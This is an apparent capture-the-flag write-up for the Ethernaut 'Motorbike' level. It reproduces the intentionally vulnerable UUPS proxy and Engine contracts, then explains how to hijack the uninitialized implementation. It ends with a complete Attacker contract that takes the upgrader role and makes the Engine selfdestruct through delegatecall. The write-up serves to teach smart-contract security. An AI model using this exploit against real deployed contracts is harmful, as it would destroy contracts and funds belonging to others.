Motorbike
// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;
import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";
contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
struct AddressSlot {
address value;
}
// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(
abi.encodeWithSignature("initialize()")
);
require(success, "Call failed");
}
// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback () external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}
// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}
contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address public upgrader;
uint256 public horsePower;
struct AddressSlot {
address value;
}
function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}
// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}
// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}
// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(
address newImplementation,
bytes memory data
) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}
// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}
Goal
The goal of this challenge is to selfdestruc
the Engine
contract.
Exploit
In order to finish this CTF we will have to use another smart contract. We can name this contract Attacker.
Again the contracts of this challenge are following the Proxy Upgrade Pattern, more specifically the UUPS pattern. The proxy contract in our case Motorbike
acts as a storage layer so any state modification in the implementation contract (in our case Engin
) normally doesn't produce side effects to systems using it, since only the logic is used through delegatecalls.
Before we even start with the hack, we must first find the address of the Engine
contract. One way to do that is after we deploy a new level instance, take note of the instance address using the web developer console on the Ethernaut page, after that using MetaMask we can open the transaction that created the level instance in a block explorer (Etherscan), when we are in the transaction details page we need to switch to the State tab and search for the contract instance address that we previously noted. We need to show the details of this address (Click to see more), and look for the value that is stored in the 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
storage address. In here in the After
field we will find the address of the Engine
contract.
Next is to remove all the unnecessary 0's from the address and load the Engine
contract at this address inside Remix.
The issue in this CTF is that the implementation contract Engine
was left uninitialized, which means everyone can call the initialize
function inside it and set upgrader
and horsePower
variables to the desired values.
After the upgrader
variable is set to hold the value of the Attacker
contract address, we can call upgradeToAndCall
function insde Engine
and it will delegatecall
to the Attacker
contract calling the selfdestruct
function inside it. Altthough the selfdestruct
will be called inside Attacker
, since we are delegating the call from the Engine
contract it is the Engine
contract that will be deleted.
To exploit the contract we need to:
- create IEngine interface and define all the functions that we are going to use from
Engine
- create Attacker contract
-
create attack(IEngine engine) external function inside the Attacker contract, passing in the Engine contract as function argument, and inside this function we will:
- call initilize function from Engine in order to set the upgrader variable to the address of the Attacker contract
- call upgradeToAndCall function with the address of the Attacker contract as argument for newImplementation parameter and the abi encoded string of the kill function (inside which we'll call selfdestruct) as an argument for the data parameter
-
create kill() function inside Attacker contract, and inside it call selfdestruct, because Engine contract will delegatecall to the Attacker contract calling this kill function, selfdestruct will cause the Engine contract to be deleted instead of the Attacker one.
Attacker contract code
interface IEngine {
function initialize() external;
function upgradeToAndCall(address newImplementation, bytes memory data) external payable;
}
contract Attacker {
function attack(IEngine engine) external {
engine.initialize();
engine.upgradeToAndCall(address(this), abi.encodeWithSelector(this.kill.selector));
}
function kill() public {
selfdestruct(payable(address(this)));
}
}